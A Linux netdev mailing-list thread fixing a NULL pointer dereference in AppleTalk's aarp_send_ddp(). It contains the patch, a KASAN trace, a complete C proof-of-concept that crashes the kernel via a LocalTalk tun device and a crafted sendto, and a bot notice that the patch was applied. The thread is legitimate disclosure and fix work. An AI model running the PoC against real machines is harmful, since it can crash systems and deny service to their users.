[PATCH net] net: appletalk: fix NULL pointer dereference in aarp_send_ddp()

[PATCH net] net: appletalk: fix NULL pointer dereference in aarp_send_ddp()

[Weiming Shi]

aarp_send_ddp() calls atalk_find_dev_addr(dev) in the LocalTalk fast
path without checking for NULL. When the device has no AppleTalk
interface configured (dev->atalk_ptr == NULL), this leads to a NULL
pointer dereference at the at->s_net access.

 KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
 RIP: 0010:aarp_send_ddp (net/appletalk/aarp.c:552 (discriminator 2))
 Call Trace:
  <TASK>
  atalk_sendmsg (net/appletalk/ddp.c:1715)
  __sys_sendto (net/socket.c:2265 (discriminator 1))
  __x64_sys_sendto (net/socket.c:2272)
  do_syscall_64 (arch/x86/entry/syscall_64.c:94)
  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)

Add a NULL check consistent with the other callers of
atalk_find_dev_addr().

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Assisted-by: Claude:claude-opus-4-7
Reported-by: Xiang Mei <xmei5@asu.edu>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
 net/appletalk/aarp.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/net/appletalk/aarp.c b/net/appletalk/aarp.c
index e7315c01a299..30493ea3c010 100644
--- a/net/appletalk/aarp.c
+++ b/net/appletalk/aarp.c
@@ -542,6 +542,11 @@ int aarp_send_ddp(struct net_device *dev, struct sk_buff *skb,
 		struct ddpehdr *ddp = (struct ddpehdr *)skb->data;
 		int ft = 2;
 
+		if (!at) {
+			kfree_skb(skb);
+			return NET_XMIT_DROP;
+		}
+
 		/*
 		 * Compressible ?
 		 *
-- 
2.43.0

Re: [PATCH net] net: appletalk: fix NULL pointer dereference in aarp_send_ddp()

[Weiming Shi]

Required key configs for the poc:

CONFIG_ATALK=y

and need CAP_NET_ADMIN permissions to run the poc.

```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <linux/if_arp.h>
#include <linux/route.h>
#include <linux/sockios.h>

#ifndef AF_APPLETALK
#define AF_APPLETALK 5
#endif
#ifndef PF_APPLETALK
#define PF_APPLETALK AF_APPLETALK
#endif

struct sockaddr_at {
    unsigned short sat_family;
    unsigned char sat_port;
    struct {
        unsigned short s_net;
        unsigned char s_node;
    } sat_addr;
    char sat_zero[8];
};

struct atalk_netrange_layout {
    unsigned char nr_phase;
    unsigned short nr_firstnet;
    unsigned short nr_lastnet;
};

static int tun_alloc(char *dev_name)
{
    int fd = open("/dev/net/tun", O_RDWR);
    if (fd < 0) {
        perror("open /dev/net/tun");
        return -1;
    }
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
    strncpy(ifr.ifr_name, dev_name, IFNAMSIZ - 1);

    if (ioctl(fd, TUNSETIFF, &ifr) < 0) {
        perror("TUNSETIFF");
        close(fd);
        return -1;
    }
    if (ioctl(fd, TUNSETPERSIST, 1) < 0)
        perror("TUNSETPERSIST");

    if (ioctl(fd, TUNSETLINK, (unsigned long)ARPHRD_LOCALTLK) < 0) {
        perror("TUNSETLINK ARPHRD_LOCALTLK");
        close(fd);
        return -1;
    }
    return fd;
}

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    printf("[+] PoC for aarp_send_ddp() NULL deref (LocalTalk path)\n");

    int tunfd = tun_alloc("ltalk0");
    if (tunfd < 0)
        return 1;
    printf("[+] tun device 'ltalk0' created with type ARPHRD_LOCALTLK (773)\n");

    int atsock = socket(PF_APPLETALK, SOCK_DGRAM, 0);
    if (atsock < 0) {
        perror("socket(AF_APPLETALK)");
        return 1;
    }
    printf("[+] AF_APPLETALK socket created (fd=%d)\n", atsock);

    int ctlsock = socket(AF_INET, SOCK_DGRAM, 0);
    if (ctlsock < 0) {
        perror("socket(AF_INET)");
        return 1;
    }

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
    ioctl(ctlsock, SIOCGIFFLAGS, &ifr);
    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    ioctl(ctlsock, SIOCSIFFLAGS, &ifr);

    {
        struct ifreq ifr2;
        memset(&ifr2, 0, sizeof(ifr2));
        strncpy(ifr2.ifr_name, "lo", IFNAMSIZ - 1);
        struct sockaddr_at *sat = (struct sockaddr_at *)&ifr2.ifr_addr;
        sat->sat_family = AF_APPLETALK;
        sat->sat_addr.s_net = htons(0x1234);
        sat->sat_addr.s_node = 1;
        struct atalk_netrange_layout *nr =
            (struct atalk_netrange_layout *)&sat->sat_zero[0];
        nr->nr_phase = 2;
        nr->nr_firstnet = htons(0x1234);
        nr->nr_lastnet = htons(0x1234);

        if (ioctl(atsock, SIOCSIFADDR, &ifr2) < 0)
            perror("SIOCSIFADDR lo");
        else
            printf("[+] AppleTalk address configured on lo (net=0x1234, node=1)\n");
    }

    {
        struct rtentry rt;
        memset(&rt, 0, sizeof(rt));
        struct sockaddr_at *dst = (struct sockaddr_at *)&rt.rt_dst;
        struct sockaddr_at *gw  = (struct sockaddr_at *)&rt.rt_gateway;
        dst->sat_family = AF_APPLETALK;
        dst->sat_addr.s_net = htons(0x4321);
        dst->sat_addr.s_node = 0;
        gw->sat_family = AF_APPLETALK;
        gw->sat_addr.s_net = htons(0x4321);
        gw->sat_addr.s_node = 1;
        rt.rt_flags = RTF_UP;
        rt.rt_dev = "ltalk0";

        if (ioctl(atsock, SIOCADDRT, &rt) < 0) {
            perror("SIOCADDRT (ltalk0 route)");
            return 1;
        }
        printf("[+] route added: 0x4321/0 -> dev ltalk0 (atalk_ptr is NULL!)\n");
    }

    struct sockaddr_at dest;
    memset(&dest, 0, sizeof(dest));
    dest.sat_family = AF_APPLETALK;
    dest.sat_port = 1;
    dest.sat_addr.s_net = htons(0x4321);
    dest.sat_addr.s_node = 1;

    char payload[16];
    memset(payload, 'A', sizeof(payload));

    printf("[*] sendto -> network 0x4321 / node 1 (expect NULL deref now)\n");
    ssize_t n = sendto(atsock, payload, sizeof(payload), 0,
                       (struct sockaddr *)&dest, sizeof(dest));
    printf("[*] sendto returned %zd (errno=%d %s)\n", n, errno, strerror(errno));

    return 0;
}

```

Re: [PATCH net] net: appletalk: fix NULL pointer dereference in aarp_send_ddp()

[patchwork-bot+netdevbpf]

Hello:

This patch was applied to netdev/net.git (main)
by Jakub Kicinski <kuba@kernel.org>:

On Thu, 14 May 2026 05:38:08 -0700 you wrote:
> aarp_send_ddp() calls atalk_find_dev_addr(dev) in the LocalTalk fast
> path without checking for NULL. When the device has no AppleTalk
> interface configured (dev->atalk_ptr == NULL), this leads to a NULL
> pointer dereference at the at->s_net access.
> 
>  KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
>  RIP: 0010:aarp_send_ddp (net/appletalk/aarp.c:552 (discriminator 2))
>  Call Trace:
>   <TASK>
>   atalk_sendmsg (net/appletalk/ddp.c:1715)
>   __sys_sendto (net/socket.c:2265 (discriminator 1))
>   __x64_sys_sendto (net/socket.c:2272)
>   do_syscall_64 (arch/x86/entry/syscall_64.c:94)
>   entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
> 
> [...]

Here is the summary with links:
  - [net] net: appletalk: fix NULL pointer dereference in aarp_send_ddp()
    https://git.kernel.org/netdev/net/c/9e7f36ab5b7b

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html